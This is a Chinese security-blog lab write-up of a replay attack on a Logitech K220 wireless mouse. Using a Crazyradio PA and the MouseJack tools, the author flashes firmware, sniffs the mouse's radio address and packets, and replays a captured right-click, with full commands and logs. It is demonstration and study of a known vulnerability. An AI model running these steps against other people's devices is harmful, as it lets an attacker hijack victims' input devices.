技术讨论 | Crazyradio获取罗技无线鼠标权限重放攻击实验

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所属分类：安全技术

0×001 说明

无线鼠标一般由两部分组成，鼠标和鼠标接收器，鼠标端通过采集鼠标的操作状态，比如采集鼠标各个按键的按下的状态，鼠标移动的轨迹等数据，然后把这些数据调制成模拟信号通过特定的无线频率(例如 24Mhz，27Mhz，2.4Ghz，或者蓝牙)发射出去，鼠标接收器接受到无线信号后，解调成数据，解析里面的数据后做出相应的动作，比如按键和移动等操作，大多情况下无线鼠标通过2.4Ghz的无线频率和PC端进行通信。通过Crazyradio + MouseJack项目可以简易地对2.4GHz无线设备的工作频段进行嗅探，分析传输信号，进一步重放攻击。

环境：Kali Linux 2018.2 amd64

设备：1、Crazyradio PA 无线收发设备一只（某宝可以买到）2、罗技K220键鼠一套

0x001.png

0×002 烧录固件

Crazyradio接入，刚买的设备id为1915:7777

lsusb

0x002.png

安装依赖

sudo apt install sdcc binutils python python-pip
pip install pyusb
pip install platformio

刷入crazyradio pa固件

git clone https://github.com/bitcraze/crazyradio-firmware
cd crazyradio-firmware
python usbtools/launchBootloader.py    # 有时候会报错，多尝试几次

显示这样，就是bootloader启动成功

0x003.png

烧录固件

wget https://github.com/bitcraze/crazyradio-firmware/releases/download/0.53/cradio-pa-0.53.bin
python usbtools/nrfbootload.py flash cradio-pa-0.53.bin

烧录成功，重新插拔设备

0x004.png

这时设备id为1915:0101

0x005.png

0×003 编译MouseJack项目

Mousejack是专门针对无线键鼠的劫持攻击，2016年一家美国物联网安全创业公司Bastille发布了一个关于无线鼠标的漏洞披露报告，称多厂商生产的无线鼠标和无线键盘存在安全漏洞，恶意攻击者可以通过低成本的无线攻击设备在远达100米的范围内远程控制受害者的无线鼠标并进行一些恶意操作。

编译

git clone --recursive https://github.com/RFStorm/mousejack.git
cd mousejack
make
make install

刷入成功

0x006.png

重新插拔设备，现在id为1915:0102

0x007.png

0×004 嗅探、重放攻击

扫描一下附近的无线设备

cd ./nrf-research-firmware/tools
./nrf24-scanner.py
[2018-07-04 20:33:04.913]  74  10  62:10:91:08:A4  00:C2:00:00:FF:6F:00:00:00:D0
[2018-07-04 20:33:04.926]  74  10  62:10:91:08:A4  00:C2:00:00:00:10:00:00:00:2E
[2018-07-04 20:33:04.934]  74  10  62:10:91:08:A4  00:C2:00:00:00:20:00:00:00:1E
[2018-07-04 20:33:04.960]  74  10  62:10:91:08:A4  00:C2:00:00:00:20:00:00:00:1E
[2018-07-04 20:33:07.318]  14  10  62:10:91:08:A4  00:C2:00:00:FC:3F:00:00:00:03
[2018-07-04 20:33:15.953]  14   0  62:10:91:08:A4  
[2018-07-04 20:33:17.732]  31  10  62:10:91:08:A4  00:C2:00:00:F1:DF:FE:00:00:70
[2018-07-04 20:33:21.906]  70   0  62:10:91:08:A4  
[2018-07-04 20:33:22.301]  74   5  62:10:91:08:A4  00:40:00:55:6B
[2018-07-04 20:33:32.628]   8   0  62:10:91:08:A4  
[2018-07-04 20:33:32.711]   8   0  62:10:91:08:A4  
[2018-07-04 20:33:42.244]  17  10  62:10:91:08:A4  00:C2:00:00:FF:0F:00:00:00:30
[2018-07-04 20:33:42.256]  17   0  62:10:91:08:A4  
[2018-07-04 20:33:42.299]  17  10  62:10:91:08:A4  00:C2:00:00:FE:0F:00:00:00:31
[2018-07-04 20:33:50.347]  11  10  62:10:91:08:A4  00:C2:00:00:0D:20:FF:00:00:12
[2018-07-04 20:33:50.974]  17  10  62:10:91:08:A4  00:C2:00:00:DA:0F:00:00:00:55
[2018-07-04 20:34:07.962]  14  10  62:10:91:08:A4  00:C2:00:00:01:E0:FF:00:00:5E
[2018-07-04 20:34:07.970]  14  10  62:10:91:08:A4  00:C2:00:00:02:E0:FF:00:00:5D
[2018-07-04 20:34:07.998]  14  10  62:10:91:08:A4  00:C2:00:00:01:D0:FF:00:00:6E
[2018-07-04 20:34:08.247]  17  10  62:10:91:08:A4  00:C2:00:00:02:E0:FF:00:00:5D
[2018-07-04 20:34:15.651]   5  10  6B:AD:EE:72:B4  00:4F:00:00:55:00:00:00:00:5C
[2018-07-04 20:34:16.054]   8   0  6B:AD:EE:72:B4  
[2018-07-04 20:34:35.945]  32   0  62:10:91:08:A4  
[2018-07-04 20:34:36.244]  35  10  62:10:91:08:A4  00:C2:00:00:04:10:00:00:00:2A

通过对无线设备进行操作，可以嗅探出设备的MAC地址信息

我这里有一套存在漏洞的罗技K220键鼠，可以确定鼠标的MAC地址是62:10:91:08:A4

现在有针对性嗅探鼠标，注意每次重新执行脚本都需要插拔设备

./nrf24-sniffer.py -a 62:10:91:08:A4
[2018-07-04 20:43:44.083]   5  10  62:10:91:08:A4  00:C2:00:00:03:F0:FF:00:00:4C
[2018-07-04 20:43:44.090]   5  10  62:10:91:08:A4  00:C2:00:00:05:D0:FF:00:00:6A
[2018-07-04 20:43:44.098]   5  10  62:10:91:08:A4  00:C2:00:00:02:00:00:00:00:3C
[2018-07-04 20:43:44.105]   5  10  62:10:91:08:A4  00:C2:00:00:03:F0:FF:00:00:4C
[2018-07-04 20:43:44.113]   5  10  62:10:91:08:A4  00:4F:00:00:55:00:00:00:00:5C
[2018-07-04 20:43:44.191]   5   5  62:10:91:08:A4  00:40:00:55:6B
[2018-07-04 20:43:44.195]   5  10  62:10:91:08:A4  00:C2:00:00:FF:2F:00:00:00:10
[2018-07-04 20:43:44.205]   5  10  62:10:91:08:A4  00:C2:00:00:FA:3F:00:00:00:05
[2018-07-04 20:43:44.209]   5  10  62:10:91:08:A4  00:C2:00:00:FA:6F:00:00:00:D5
[2018-07-04 20:43:44.223]   5  10  62:10:91:08:A4  00:C2:00:00:FB:5F:00:00:00:E4
[2018-07-04 20:43:44.226]   5  10  62:10:91:08:A4  00:C2:00:00:FA:6F:00:00:00:D5
[2018-07-04 20:43:44.234]   5  10  62:10:91:08:A4  00:C2:00:00:F9:5F:00:00:00:E6
[2018-07-04 20:43:44.245]   5  10  62:10:91:08:A4  00:C2:00:00:FB:8F:00:00:00:B4
[2018-07-04 20:43:44.258]   5  10  62:10:91:08:A4  00:C2:00:00:F8:7F:00:00:00:C7
[2018-07-04 20:43:44.261]   5  10  62:10:91:08:A4  00:C2:00:00:F9:6F:00:00:00:D6
[2018-07-04 20:43:44.268]   5  10  62:10:91:08:A4  00:C2:00:00:F7:5F:00:00:00:E8
[2018-07-04 20:43:44.279]   5  10  62:10:91:08:A4  00:C2:00:00:F8:6F:00:00:00:D7
[2018-07-04 20:43:44.287]   5  10  62:10:91:08:A4  00:C2:00:00:FB:3F:00:00:00:04
[2018-07-04 20:43:44.295]   5  10  62:10:91:08:A4  00:C2:00:00:F9:5F:00:00:00:E6
[2018-07-04 20:43:44.303]   5  10  62:10:91:08:A4  00:C2:00:00:FB:2F:00:00:00:14
[2018-07-04 20:43:44.310]   5  10  62:10:91:08:A4  00:C2:00:00:FF:1F:00:00:00:20
[2018-07-04 20:43:44.318]   5  10  62:10:91:08:A4  00:4F:00:00:55:00:00:00:00:5C
[2018-07-04 20:43:44.397]   5   5  62:10:91:08:A4  00:40:00:55:6B
[2018-07-04 20:43:44.474]   5   5  62:10:91:08:A4  00:40:00:55:6B
[2018-07-04 20:43:44.551]   5   5  62:10:91:08:A4  00:40:00:55:6B
[2018-07-04 20:43:44.631]   5   5  62:10:91:08:A4  00:40:00:55:6B

通过移动或者点击鼠标，就能嗅探到大量数据

点击鼠标右键，持续嗅探

# 记录嗅探到的信道
4 5 7 13 16 17 31 40 43 65 73

# 右键按下
[2018-07-04 23:22:22.865]   4  10  62:10:91:08:A4  00:4F:00:00:55:00:00:00:00:5C
[2018-07-04 23:22:22.873]   4  10  62:10:91:08:A4  00:C2:02:00:00:00:00:00:00:3C
[2018-07-04 23:22:22.882]   4  10  62:10:91:08:A4  00:4F:00:00:55:00:00:00:00:5C

# 右键松开
[2018-07-04 23:23:16.102]  13  10  62:10:91:08:A4  00:C2:00:00:00:00:00:00:00:3E
[2018-07-04 23:23:16.109]  13  10  62:10:91:08:A4  00:4F:00:00:55:00:00:00:00:5C
[2018-07-04 23:23:16.185]  13   5  62:10:91:08:A4  00:40:00:55:6B
[2018-07-04 23:23:16.263]  13  10  62:10:91:08:A4  00:4F:00:03:70:00:00:00:00:3E

重放攻击以验证猜测

python replay.py -c 4 5 7 13 16 17 31 40 43 65 73 -a 62:10:91:08:A4 -d 00:4F:00:00:55:00:00:00:00:5C 00:C2:02:00:00:00:00:00:00:3C 00:4F:00:00:55:00:00:00:00:5C
Trying address 62:10:91:08:A4 on channel 13
Tring send payload 00:4F:00:00:55:00:00:00:00:5C
Tring send payload 00:C2:02:00:00:00:00:00:00:3C
Trying address 62:10:91:08:A4 on channel 40
Tring send payload 00:4F:00:00:55:00:00:00:00:5C
Tring send payload 00:C2:02:00:00:00:00:00:00:3C
Trying address 62:10:91:08:A4 on channel 4
Tring send payload 00:4F:00:00:55:00:00:00:00:5C
Tring send payload 00:C2:02:00:00:00:00:00:00:3C
Trying address 62:10:91:08:A4 on channel 4
Tring send payload 00:4F:00:00:55:00:00:00:00:5C
Tring send payload 00:C2:02:00:00:00:00:00:00:3C
Trying address 62:10:91:08:A4 on channel 16
Tring send payload 00:4F:00:00:55:00:00:00:00:5C
Tring send payload 00:C2:02:00:00:00:00:00:00:3C
Trying address 62:10:91:08:A4 on channel 43
Tring send payload 00:4F:00:00:55:00:00:00:00:5C
Tring send payload 00:C2:02:00:00:00:00:00:00:3C

成功出现了右键点击现象，重放成功

0x008.png*本文原创作者：janw3n，本文属FreeBuf原创奖励计划，未经许可禁止转载

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